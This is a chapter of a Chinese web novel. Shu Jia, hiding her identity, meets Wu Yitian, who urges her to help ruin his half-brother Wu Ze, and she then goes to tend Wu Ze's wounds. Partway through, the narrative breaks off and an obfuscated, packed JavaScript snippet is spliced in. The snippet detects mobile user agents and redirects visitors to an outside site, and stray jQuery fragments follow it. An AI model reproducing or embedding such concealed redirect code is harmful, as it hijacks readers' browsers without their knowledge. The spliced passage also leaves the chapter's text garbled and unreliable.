15.Chapter 15

作品:《潮笼

    Chapter 15


    约舒嘉见面的,是一个她无论如何都没有想到的人。


    之前那个仅有过一面之缘的,邬则的哥哥。


    看清男人面孔的那一刻,舒嘉眉心跳了一下。


    一路上,她一直在猜会是什么人先发现了她假借身份接近邬家的事,但唯独没猜到是邬家的人。


    见到她来,邬移添贴心地帮舒嘉拉开椅子,语气温和:“舒小姐,请坐。”


    舒嘉扯出笑意,因为不知道他真实姓名,所以喊了一声:“哥哥。”


    “我叫邬移添,网上应该搜不到我的名字。”邬移添淡笑。


    实话说,邬移添这张脸实在太有欺骗性。


    他的谈吐举止,他的温和有礼,种种迹象都将他衬托成了一位谦谦君子,但舒嘉不会被眼前的虚伪假象迷惑。


    两人之前只见过一面,照理说不该什么关联,但最先识破她身份的竟然会是邬移添,说明上次一面后,邬移添马上就深入调查了她。


    敏感多疑,这才是邬移添面具之下真正的颜色。


    邬移添将菜单递给舒嘉,温柔地问:“翻翻看,想吃点什么?这里的甜品很合我胃口,不知道舒小姐会不会也喜欢。”


    舒嘉将菜单退回:“我不喜欢甜食。”


    “好吧,看来今天地方选错了。”男人笑得有些抱歉。


    舒嘉抬起眼皮,没什么情绪地说:“哥哥不是要和我谈交易么?交易哪里都可以谈。”


    邬移添合上菜单,随手放在一边。


    “舒小姐,首先要和你说声抱歉,调查你并非我本意。只是我向来不放心我这个弟弟,他的性格你也知道,常常会得罪人,所以待在他身边的人我一般都会审查一番,确定他们的存在是否安全。”


    邬移添顿了顿,眼神探究:“舒小姐,你的资料里有几个地方似乎比较矛盾,为了我弟弟的安全着想,只能刨根问底。不知道舒小姐方不方便为我解答?”


    如此冠冕堂皇的理由,舒嘉可不会将他当成一个好哥哥。


    舒嘉拿起杯子,面不改色地抿了口白水,冷静道:“哥哥是个聪明人,有话不妨直说。”


    “毕竟,我的身份你已经确认了,不是吗?”


    即便被揭穿,邬移添也不恼,他仍然神色温柔,轻笑道:“我喜欢和舒小姐这样的聪明人说话。对于你接近邬家的目的,我其实已经猜到了个大概,对于当年的事故我很抱歉,不过据我所知,你当时也得到了邬家的一大笔赔偿金。”


    提及当年的事,舒嘉的手指逐渐攥紧。


    理智在被吞噬的边缘,她深呼吸几番,保持镇定,问道:“你想要什么?”


    “别紧张,我不会害你,并且,我很希望与你为伍。”邬移添似乎看穿了舒嘉冷静的伪装,叫来服务员为她添水。


    “你来邬家之前或许做过功课,但网络上的信息不够全面,有很多事情你应该还不知道。比如,我和邬则其实同父异母。”邬移添顿了顿,接着说,“又比如,他原本是一个上不得台面的私生子。”


    听见这些内容的同时,舒嘉心里咯噔一声,仿佛有一块巨石轰然倒塌。


    她一边震惊这些从未在媒体口中得知过的消息,一边又忐忑,邬移添主动和她交代这些做什么?


    有些东西,就像热锅上的烫手山芋,就算再好奇也触碰不得。


    见舒嘉没说话,邬移添自顾自地笑着:“很惊讶吧?几年前得知他的存在时,我也很惊讶。”


    “原本我是邬家唯一的继承人,身边的人巴结我,讨好我,所有人都觉得未来邬家势必属于我。但邬则出现后,我莫名成了这个位置的竞争者。再后来,我被自己的亲生父亲和弟弟携手踢出局,就此成了媒体口中那个扶不上墙的阿斗,不成器的儿子。”


    舒嘉错愕地抬起眼睫,正巧对上银框眼镜后那双漆黑的,饱含恨意的眼眸。


    方才伪装出来的波澜不惊全然不见,男人推了推眼镜,声音发寒:“我弟弟这一路走来太过顺利了些,确实也该受些阻碍了,不经风雨难成大器,舒小姐,你觉得呢?”


    舒嘉确定了。


    这一整个邬家应该都没有正常人。


    眼前这位年近三十的兄长看起来人模人样,实际上也是一个疯子,伪善之下皆是精明算计。


    和邬则不同的是,邬移添段位略高一筹,知道给自己披上羊皮。


    邬移添低笑了下,又恢复到往日的谦和:“舒小姐,我知道你一直在调查当年那场事故的始作俑者。事到如今,我可以直接告诉你真相,那场火灾是邬则所为,你的仇人就是他。”


    舒嘉沉默,双手紧紧握着水杯,脸色有些苍白,没说话。


    邬移添继续循循善诱:“所以你无需忌惮我。你我都恨他,不该是敌对,而该是盟友。有我助力后,你可以更轻松地毁掉他,我也能拿回本该属于我的东西,你觉得这场交易如何?”


    舒嘉抿了口水,半晌,抬头看着邬移添笑了下。


    “不错。”


    “那么,舒小姐,”邬移添直起身体,笑着朝她伸出手,“祝我们合作愉快。”


    舒嘉说:“合作愉快。”


    -


    谢赋南的声音从听筒中传来:“所以你相信他了?”


    舒嘉疲惫地闭上眼睛,已经有些累得不想说话:“邬移添是个精明的商人,他口中的信息亦真亦假,我没那么好骗。”


    另一边似乎松了口气:“我就知道你不会轻易掉进陷阱。”


    舒嘉笑了下:“怎么?怕我抱上更强大的大腿后把你扔了?”


    谢赋南不置可否:“确实有这个恐慌。”


    “谢老板放心,无论如何我都不会扔掉你的,毕竟我们都有把柄在对方手中。”


    舒嘉问:“我的人品你还不相信?”


    谢赋南:“我记得之前有人说过,一旦暴露就会毫不犹豫地把我供出去。”


    舒嘉:“这不是还没供。“


    望着窗外黑下来的街景,舒嘉脑袋抵在窗户上:“先不和你说了,我累了,要休息一会。”


    谢赋南问:“接下来你有什么打算?”


    “和原定计划一样,先从邬则入手。邬移添让我尽快取得邬则的信任,但简直难如登天,让一个人去完全毫无保留地相信另一个人,哪有那么简单。”


    谢赋南问:“你们关系有进展吗?”


    舒嘉嗯了声:“算有吧。”


    “怎么说?”


    “我亲了他一下。”


    “……”


    谢赋南那边陷入沉默,迟迟没有动静。


    事情一多就容易心烦,特别是她今天还被人威胁,差点暴露。


    舒嘉烦躁不已,随口道:“我要挂了,改天再说。”


    不知道是不是舒嘉的错觉,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005783|159550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢赋南的语气似乎有些古怪,总之听起来没有往日友善:“他的吻技怎么样?”


    舒嘉懒得回答这个无聊的问题,直接把电话挂断。


    舒嘉疲惫地闭上眼睛,耳边跃出邬移添刚才说过的话。


    男人告诉她,邬则今晚在家宴上刚遭受了父亲的毒打,此时必然情绪不佳,她可以趁虚而入。


    表面上风光无限的小少爷,实际上只是一个家族用来巩固地位的棋子。


    有时更惨,会被自己亲生父亲当成用来发泄情绪的工具。


    难怪他的身上总是有那么多伤,旧的,新的,像是蜿蜒的枯枝,爬满他苍白的皮肤。


    病态人格的养成必然逃不开原生家庭的干系,看起来问题颇多的孩子往往是家里病得最轻的那个。


    邬则会变成今天这副模样,想必有他父亲不少功劳。


    真可怜啊,舒嘉平静地想。


    也是真的有些可恨。


    -


    “舒小姐,你回来了,真是太好了。”


    一见到舒嘉,蔡停就像看见了一根救命稻草,立马迎了过来,忧心忡忡道:“小少爷不小心受了伤,情况比较严重,但小少爷心情不是很好,不允许任何人进他房间,所以家庭医生也进不去。”


    舒嘉见他表情焦急,轻声问:“我能帮上什么忙吗?”


    “如果你愿意帮忙那就太好了。”


    蔡停感动不已,颤颤巍巍地将手中的医药箱递给舒嘉,“小少爷一直比较抵触医生的接近,但伤口迫切需要处理,如果感染就遭了,能不能请你帮忙进去帮小少爷处理一下伤口?“


    舒嘉沉默两秒,不太自信地问:“我吗?”


    “是的,拜托你了舒小姐。”


    蔡停振振有词地说,“我能感觉出来,小少爷并不抗拒你的靠近。”


    舒嘉眉心跳了跳,缓慢地问:“真的……不抗拒吗?”


    她怎么感觉这是一场逼她“送死”的鸿门宴。


    最后实在没有办法,舒嘉还是拿着医药箱前去“赴死”了。


    不管怎么样,现在博得邬则信任是首要任务。


    一个人在最脆弱,最糟糕的时刻,遇到关心,反而更容易打开心房,卸掉伪装。


    她可以试一试,最差也就是被那个阴晴不定的小少爷骂出来,她可以忍受。


    门没上锁,舒嘉摁下门把手,轻轻一推门就开了。


    平日里得不到允许,基本也不会有人敢擅闯这个房间。


    一片漆黑映入眼帘,依旧没有开灯,气氛阴沉得令人窒息。


    但很快,看清眼前景象。


    舒嘉站在原地,瞳孔微微睁大。


    不远处的角落,男人静悄悄地坐在那儿。


    在这冰冷空荡的房间,他身上只穿了件黑色短袖,微微屈起一条腿,手腕搭在膝盖上,脊背靠墙,头颅低垂,整个人陷进阴影里,像是一具被剥夺了灵魂,完全失去生气的木偶。


    胳膊上爬满触目惊心的伤,许是因为伤口牵拉撕裂,鲜血正滴答滴答往下淌。


    舒嘉轻轻吸了口气,小心翼翼地朝他走过去。


    她的心脏扑通扑通狂跳,很怕对方没有任何反应,很怕待会摸不到他的鼻息,很怕他真的死了。


    这个漆黑的,死气沉沉的空间,此时此刻,仿佛变成了一个极度缺氧的四方盒子。


    邬则是盒子里的一道阴影。